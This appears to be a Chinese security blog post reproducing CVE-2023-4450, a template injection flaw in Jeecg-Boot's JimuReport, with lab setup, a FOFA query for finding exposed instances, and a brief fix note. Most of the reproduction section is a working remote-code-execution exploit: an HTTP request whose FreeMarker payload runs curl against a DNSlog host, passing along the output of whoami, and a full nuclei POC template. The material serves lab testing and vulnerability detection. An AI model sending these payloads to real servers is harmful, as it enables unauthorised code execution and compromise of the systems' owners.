CVE-2023-4450
CVE-2023-4450
原创 fgz AI与网安 2024-02-13 12:20
免
责
申
明
:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
该漏洞已被黑客武器化,用于大规模蠕虫传播、勒索挖矿。但nuclei官方还没有提供POC。
01
—
漏洞名称
Jeecg-Boot JimuReport queryFieldBySql 模板注入漏洞
02
—
漏洞影响
JimuReport < 1.6.1
03
—
漏洞描述
JimuReport采用纯Web在线技术,支持多种数据源,如Oracle, MySQL, SQLServer, PostgreSQL等主流的数据库。2023年互联网上披露其存在模板注入漏洞,攻击者可构造恶意请求触发模板注入,造成远程代码执行。2023年8月15日,官方发布更新修复相关漏洞。
04
—
FOFA搜索语句
title="Jeecg-Boot"
05
—
靶场搭建
下载或更新vulhub源码
https://github.com/vulhub/vulhub
将代码上传到靶场虚拟机,并解压
unzip vulhub.zip
然后进入漏洞目录
cd vulhub/jeecg-boot/CVE-2023-4450
启动靶场镜像
docker compose up -d
容器启动完成之后能看到有总共有三个容器
在服务启动后,可访问如下路径
查看JimuReport页面。
http://192.168.40.130:8080/jeecg-boot/jmreport/list
06
—
漏洞复现
这个漏洞没有回显,利用DNSlog复现,先注册一个账户http://dnslog.pw/dns
然后复制payload到下面数据包中
最终向靶场发送如下数据包
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
"type": "0"
}
DNSlog看到访问记录
漏洞复现成功
07
—
nuclei poc
poc文件内容如下
id: CVE-2023-4450
info:
name: Jeecg-Boot JimuReport queryFieldBySql 模板注入漏洞
author: fgz
severity: critical
description: JimuReport采用纯Web在线技术,支持多种数据源,如Oracle, MySQL, SQLServer, PostgreSQL等主流的数据库。2023年互联网上披露其存在模板注入漏洞,攻击者可构造恶意请求触发模板注入,造成远程代码执行。
metadata:
max-request: 1
fofa-query: title="Jeecg-Boot"
verified: true
requests:
- raw:
- |+
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: {{Hostname}}
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/json
Content-Length: 121
Connection: close
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl {{interactsh-url}}\")}",
"type": "0"
}
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
condition: and
运行POC
nuclei.exe -t mypoc/cve/CVE-2023-4450.yaml -u http://192.168.40.130:8080/
08
—
修复建议
升级到最新版本。